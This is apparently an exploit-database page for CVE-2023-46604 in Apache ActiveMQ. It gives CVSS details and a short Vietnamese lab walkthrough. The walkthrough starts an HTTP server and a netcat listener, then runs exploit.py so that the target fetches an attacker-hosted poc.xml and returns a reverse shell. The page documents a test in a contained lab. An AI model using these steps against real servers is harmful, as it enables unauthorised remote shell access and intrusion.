Exploit for Deserialization of Untrusted Data in Apache Activemq

Vulnerability Details

Basic Information

Title Exploit for Deserialization of Untrusted Data in Apache Activemq
Type githubexploit
Published 2025-05-04T14:42:01
Last Seen 2025-05-05T00:04:32
CVSS Score 10.0 (CRITICAL)

CVSS v3 Details

Attack Vector NETWORK
Attack Complexity LOW
Privileges Required NONE
User Interaction NONE
Scope CHANGED
Confidentiality Impact LOW
Integrity Impact HIGH
Availability Impact HIGH

CVE Information

CVE IDs CVE-2023-46604
CWE
Bulletin Family exploit

Description

CVE-2023-46604

![image](https://github.com/user-attachments/assets/03899091-1319-4d60-a561-30293999c19f)

Dựng docker-compose chứa 2 image gồm máy nạn nhân và máy mục tiêu theo môi trường yêu cầu
Trên máy nạn nhân, tiến hành khởi động ActiveMQ

Chuyển sang máy tấn công:
• Mở dịch vụ HTTP để tiến hành gửi poc:
python3 -m http.server

• Sử dụng netcat để lẳng nghe kết nối đến máy tấn công
nc -nlvp 4444

• Gửi payload tạo kết nối reverse shell tới máy tấn công
python3 exploit.py -i 172.18.0.3 -p 61616 –xml http://172.18.0.2:8000/poc.xml
Trong đó:
– Exploit.py: file code khai thác lỗ hổng
– -I 172.18.0.3: Địa chỉ IP của máy gửi payload
– -p 61616: Cổng mà ActiveMQ của máy nạn nhân đang lắng nghe
– –xml http://172.18.0.2:8000/poc.xml: Địa chỉ url của tệp poc.xml trên máy tấn công

Có thể thấy, sau khi gọi lệnh thực thi file ‘exploit.py’, mã khai thác sẽ gửi một gói tin ‘poc.xml’ trên web server tới mục tiêu là địa chỉ của dịch vụ ActiveMQ đang chạy trên server mục tiêu. Đồng thời webserver HTTP trên máy tấn công cũng nhận được request được gửi từ địa chỉ ip của máy mục tiêu.

Sau khi tiến hành gửi payload, chuyển sang terminal đang lắng nghe tại cổng 4444 của máy tấn công. Ta thấy reverse shell của máy nạn nhân đã được gửi về.

Impact Assessment

Base Score 10.0
Severity CRITICAL

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.